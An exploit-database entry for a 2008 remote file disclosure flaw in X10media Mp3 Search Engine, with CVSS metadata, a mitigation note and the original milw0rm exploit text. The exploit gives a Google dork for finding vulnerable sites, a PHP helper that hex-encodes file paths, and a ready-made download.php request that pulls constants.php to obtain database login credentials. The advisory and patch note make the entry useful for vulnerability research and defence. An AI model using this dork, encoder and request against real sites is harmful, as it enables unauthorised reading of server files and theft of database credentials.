X10media Mp3 Search Engine v1.5.5 - 1.6 Remote File Disclosure Vulnerability

vendor:

Mp3 Search Engine

by:

THUNDER

7.5

CVSS

HIGH

Remote File Disclosure

200

CWE

Product Name: Mp3 Search Engine

Affected Version From: 1.5.2005

Affected Version To: 1.6

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

X10media Mp3 Search Engine v1.5.5 – 1.6 Remote File Disclosure Vulnerability

X10media Mp3 Search Engine versions 1.5.5 to 1.6 are vulnerable to a remote file disclosure vulnerability. An attacker can exploit this vulnerability by encoding the URL of the file they wish to download and sending it to the download.php page. The file will be downloaded as an .mp3 extension, but can be opened with any text editor to view the contents.

Mitigation:

Upgrade to the latest version of X10media Mp3 Search Engine.

Source

Exploit-DB raw data:

################# ~THUNDER ################################################################


    ~X10media Mp3 Search Engine v1.5.5 - 1.6 Remote File Disclosure Vulnerability

    ~Founded by : THUNDER <t4h[at]hotmail.fr>
    ~Dork: "This search engine is in no way intended for illegal downloads. "
    ~File : Download.php

===========================================================================================

to read files you need to encode the url, so you can use this php code :
<?
//Encode URL ** THUNDER **
function enc($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
$thunder = $_GET[t];
echo enc($thunder);
?>

How to use : http://127.0.0.1/encode.php?t=[Url]
Ex : http://127.0.0.1/encode.php?t=includes/constants.php
 
##### ~Exploit ############################################################################


   http://www.target.com/[path]/download.php?url=[Encoded url]

Example :
let's download the constants.php file wich contains the database login and password .
the file will be downloaded as .mp3 exstension .

http://www.target.com/[path]/download.php?url=696e636c756465732f636f6e7374616e74732e706870

Open the downloaded file with any text editor... ,and you got the database .           
          


###########################################################################################

# milw0rm.com [2008-11-09]